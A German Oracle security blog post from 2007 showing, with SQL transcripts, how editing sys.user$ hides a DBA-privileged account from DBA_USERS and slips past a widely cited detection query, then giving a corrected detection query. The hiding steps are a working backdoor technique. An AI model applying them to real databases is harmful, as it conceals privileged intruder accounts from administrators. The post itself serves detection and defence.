- Alexander Kornbrust Oracle Security Blog dt. - http://blog.red-database-security.de -
Unsichtbare Benutzer durch Datenmanipulation
Dieser Eintrag stammt von Alexander Kornbrust Am 24 Dez 2007 @ 15:01 In rootkit, Backdoor, Oracle Security, Allgemein | Keine Kommentare
Auf der Deepsec-Konferenz gab David Litchfield eine Präsentation zum Thema “[1] In-Memory Rootkits“. Beiläufig erwähnte er auch die Möglichkeit, unsichtbare Benutzer durch Modifikation der Tablespacenummer zu erzeugen (”update sys.user$ set datats#=31337 where user#=76“).Um diese unsichtbaren Benutzer zu finden, riet David, das folgende Statement zu verwenden (”SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS“).
————- Tests auf 10.2.0.3 mit Oct 2007 CPU ——————–
– Benutzer U1 mit DBA Rechten erzeugen
SQL> create user u1 identified by u1;
SQL> grant dba to u1;
—
SQL> select user#, name, datats# from sys.user$;
0 SYS 0
1 PUBLIC 0
76 U1 5
…
– datats# auf einen nicht existierenden Wert setzen
SQL> update sys.user$ set datats#=31337 where user#=76;
1 row updated.
SQL> commit;
Commit complete.
– Vergleich sys.user$ mit dba_users
– Wie eine Suche mit Google zeigt, wird dies von vielen verwendet, um unsichtbare Benutzer zu verwenden
SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;
U1
– Aber funktioniert dies immer?
– Warum nur eine Spalte updaten?
– Wir ändern einfach den type# auf 2 (Neustart der Datenbank ist notwendig)
–
SQL> update sys.user$ set type#=2 where user#=76;
1 row updated.
SQL> commit;
Commit complete.
– Wenn wir das vorgeschlagene Statement laufen lassen,
– wird unser User nicht angezeigt. Diesen Fehler haben
– aber alle gemacht (David, Pete, Alex, …)
SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;
no rows selected
————-
– Zum Testen ist es notwendig, die Datenbank zu starten, da ohne Neustart der Datenbank auch type#<0 funktioniert
SQL> conn u1/u1
– Deshalb sollte folgendes Statement verwendet werden
SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# !=0 MINUS SELECT USERNAME FROM SYS.DBA_USERS;
U1
–
Frohe Weihnachten.
Dieser Artikel wurde ausgedruckt ab Alexander Kornbrust Oracle Security Blog dt.: http://blog.red-database-security.de
URL zum Artikel: http://blog.red-database-security.de/2007/12/24/unsichtbare-benutzer-durch-datenmanipulation/
URLs in this post:
[1] In-Memory Rootkits: http://www.databasesecurity.com/oracle-backdoors.ppt
Klicken hier zum Drucken.